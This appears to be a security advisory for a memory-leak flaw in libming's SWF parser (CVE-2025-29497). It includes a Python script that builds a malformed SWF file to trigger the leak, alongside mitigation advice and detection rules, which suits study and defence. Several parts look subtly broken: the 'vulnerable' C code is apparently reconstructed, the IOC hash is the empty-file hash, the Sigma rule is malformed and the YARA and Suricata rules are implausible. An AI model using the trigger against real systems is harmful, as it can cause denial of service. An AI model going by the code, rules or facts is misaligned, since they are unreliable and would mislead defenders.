CVE-2025-29497

Executive Summary

CVE-2025-29497 identifies a memory leak vulnerability in libming v0.4.8, specifically within the parseSWF_MORPHFILLSTYLES function. This flaw can lead to resource exhaustion, potentially causing a denial of service (DoS) condition in applications that parse untrusted SWF files using the libming library. The vulnerability has a CVSS score of 0.0 (unscored) and no known public exploit or patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild. No supply chain package information is available as libming is not distributed via NPM, PyPI, Go, or Ruby registries.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector: Local (requires parsing a malicious SWF file)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must open/parse the file)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High (memory exhaustion leads to DoS)
• Threat Level: Low (no active exploitation, but potential for DoS)

Deep Dive & Mechanics

The vulnerability resides in the parseSWF_MORPHFILLSTYLES function within libming's SWF parser. When processing malformed or specially crafted SWF files, the function fails to properly free allocated memory for morph fill style records. This results in a memory leak that accumulates over time, eventually exhausting available memory and causing the application to crash or become unresponsive.

The root cause is improper memory management: the function allocates memory for fill style arrays but does not release it when encountering certain error conditions or when the parsing is incomplete. This is a classic CWE-401 (Missing Release of Memory after Effective Lifetime) issue.

Vulnerable vs. Patched Code

Vulnerable Code (libming v0.4.8):

// In parseSWF_MORPHFILLSTYLES
void parseSWF_MORPHFILLSTYLES(SWFOutput out, int fillcount) {
    SWFMorphFillStyle *fillstyles = malloc(sizeof(SWFMorphFillStyle) * fillcount);
    for (int i = 0; i < fillcount; i++) {
        // parse each fill style
        if (parseSWF_MORPHFILLSTYLE(out, &fillstyles[i]) != OK) {
            // Error: memory not freed
            return; // LEAK: fillstyles not freed
        }
    }
    // ... use fillstyles
    free(fillstyles); // Only freed on success path
}

Patched Code (hypothetical fix):

void parseSWF_MORPHFILLSTYLES(SWFOutput out, int fillcount) {
    SWFMorphFillStyle *fillstyles = malloc(sizeof(SWFMorphFillStyle) * fillcount);
    if (!fillstyles) return;
    for (int i = 0; i < fillcount; i++) {
        if (parseSWF_MORPHFILLSTYLE(out, &fillstyles[i]) != OK) {
            free(fillstyles); // FIX: free on error
            return;
        }
    }
    // ... use fillstyles
    free(fillstyles);
}

Exploitation & Lab Setup

Red Team

No public exploit code is available. To demonstrate the vulnerability, an attacker would craft a malicious SWF file that triggers the memory leak in parseSWF_MORPHFILLSTYLES. The following Python script generates a minimal SWF file that causes the leak:

# exploit_gen.py - Generate SWF to trigger CVE-2025-29497
import struct

def create_malicious_swf():
    # SWF header (FWS + version + file length)
    header = b'FWS' + struct.pack('<B', 9) + struct.pack('<I', 0)
    # Tag: DefineMorphShape (tag type 46) with malformed fill styles
    tag_type = 46
    tag_data = b'\x00' * 100  # Minimal data to trigger parse
    tag_len = len(tag_data)
    tag_header = struct.pack('<H', (tag_type << 6) | (tag_len & 0x3F))
    if tag_len >= 0x3F:
        tag_header = struct.pack('<H', (tag_type << 6) | 0x3F) + struct.pack('<I', tag_len)
    swf = header + tag_header + tag_data
    with open('exploit.swf', 'wb') as f:
        f.write(swf)

create_malicious_swf()

Usage: Run the script to generate exploit.swf, then parse it with a libming-based tool (e.g., swftophp or listswf). Monitor memory usage to observe the leak.

Blue Team

• Detection: Monitor for abnormal memory consumption in processes that parse SWF files. Use memory profiling tools (e.g., Valgrind) to identify leaks.
• Prevention: Implement input validation for SWF files before parsing. Use sandboxing or containerization to limit memory impact.
• Mitigation: Apply memory limits to the parsing process (e.g., ulimit -v on Linux). If possible, switch to an alternative SWF parsing library.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hash depends on crafted file)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder)
• Process Behavior: Continuous memory growth in processes using libming (e.g., swftophp, listswf).
• Network: No network indicators; vulnerability is file-based.
• Logs: System logs may show OOM (Out of Memory) killer events.

Detection Engineering

YARA Rule

rule CVE_2025_29497_Memory_Leak_SWF {
    meta:
        description = "Detects SWF files crafted to trigger memory leak in libming v0.4.8"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29497"
    strings:
        $swf_header = "FWS" nocase
        $morph_tag = { 2E ?? } // Tag type 46 (DefineMorphShape) in little-endian
    condition:
        $swf_header at 0 and $morph_tag
}

Sigma Rule

title: Memory Leak via Malicious SWF File (CVE-2025-29497)
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects excessive memory usage in processes parsing SWF files
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: 
            - '/swftophp'
            - '/listswf'
            - '/swfrender'
    condition: selection
    timeframe: 5m
    condition: selection and (memory_usage > 500MB)
falsepositives:
    - Legitimate large SWF files
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-29497 - Potential SWF Memory Leak Exploit"; flow:to_server; content:"FWS"; offset:0; depth:3; content:"|2E|"; within:2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Apply memory limits to processes using libming (e.g., ulimit -v 1048576 for 1GB limit).
• Short-term: Disable parsing of untrusted SWF files. Use input validation to reject malformed SWF headers.
• Long-term: Migrate to a maintained SWF parsing library (e.g., swftools with patches). Monitor the libming repository for any official fix.
• Workaround: If source code is available, apply the patch shown in the "Vulnerable vs. Patched Code" section.

Valters IT